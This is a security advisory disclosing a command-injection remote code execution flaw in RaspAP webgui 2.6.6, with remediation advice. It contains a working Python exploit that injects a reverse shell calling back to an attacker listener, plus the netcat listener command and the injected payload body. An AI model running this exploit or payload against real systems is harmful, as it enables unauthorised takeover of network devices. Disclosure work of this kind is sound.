############################################################# # # AWARE7 SECURITY ADVISORY # https://aware7.de/advisories/ # ############################################################# # # Product: RaspAP [1] # Vendor: RaspAP # AWR7 ID: AWR7-2021-002 # CVE ID: XXX # Subject: Remote-Code-Execution # Risk: Medium # Effect: Remote exploitable # Author: Moritz Gruber # Date: 20.08.2021 # ############################################################# Introduction ------------ RaspAP is feature-rich wireless router software that operates on many popular Debian-based devices, including the Raspberry Pi. The configuration of the software is realized via a dedicated web application developed in PHP. This web application is vulnerable to a remote code execution vulnerability that allows to execute arbitrary commands on the system. Affected -------- Vulnerable: * RaspAP webgui Version 2.6.6 We tested no other version, but it is reasonable to believe that older versions are vulnerable as well. Technical Description --------------------- Vulnerable function: * /includes/configure_client.php ----- Remote-Code-Execution in configure_client.php ----- The Remote-Code-Execution vulnerability is located in the "/includes/configure_client.php" file. The vulnerable connect parameter is used unfiltered in the PHP exec function. This allows an attacker to execute system commands with a POST request to http://host/wpa_conf. The following Python code represents a proof of concept exploit that executes a reverse shell on the system. ``` import requests from requests.api import post from requests.auth import HTTPBasicAuth from bs4 import BeautifulSoup import sys, re if len(sys.argv) != 7: print("python3 exec-raspap.py ") sys.exit() else: target_host = sys.argv[1] target_port = sys.argv[2] username = sys.argv[3] password = sys.argv[4] listener_host = sys.argv[5] listener_port = sys.argv[6] endpoint = "/wpa_conf" #exploit = "touch /tmp/moritz.txt" exploit = f"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{listener_host}\",{listener_port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" url = "http://{}:{}/{}".format(target_host,target_port,endpoint) s = requests.Session() get_Request = s.get(url, auth=HTTPBasicAuth(username, password)) soup = BeautifulSoup(get_Request.text, "lxml") csrf_token = soup.find("meta",{"name":"csrf_token"}).get("content") post_data = { "csrf_token": csrf_token, "connect": "wlan; {}".format(exploit) } post_Request = s.post(url, data=post_data, auth=HTTPBasicAuth(username, password)) if post_Request.status_code: print("Exploit send.") else: print("Something went wrong.") print("Done") ``` To execute the proof of concept, two shells are needed on the attacker system. In the first, a listener is started via the tool netcat (nc), which waits for incoming connections. This is done with the following command: ``` nc lvp 4444 ``` In the second shell, the attack is now executed with the following command. ``` python3 exec-raspap.py 192.168.42.167 80 admin secret 192.168.42.28 4444 ``` Example Message Body: * connect: wlan; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.42.28",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);' * csrf_token: ccacbe937081b255c1a39663b1124bd7521e6dce1a5fc15370f80fe9c8837171 The following code snippet shows the unsafe use of the exec function in the program code. ``` function DisplayWPAConfig() { $status = new StatusMessages(); $networks = []; getWifiInterface(); knownWifiStations($networks); if (isset($_POST['connect'])) { $result = 0; exec('sudo wpa_cli -i ' . $_SESSION['wifi_client_interface'] . ' select_network '.strval($_POST['connect'])); $status->addMessage('New network selected', 'success'); ``` Workaround / Fix ---------------- Perform strict validation and escaping on the input provided by the user to avoid any Remote-Code-Execution. [3] To fix this vulnerability, user input of POST parameter connect should be filtered using escapeshellarg() or escapeshellcmd(). As a RaspAP user, the recommendation is to update to the latest version to receive the fix. Timeline -------- 2021-08-20: Discovery by Moritz Gruber References ---------- [1] https://raspap.com/ [2] https://cwe.mitre.org/data/definitions/1033.html [3] https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html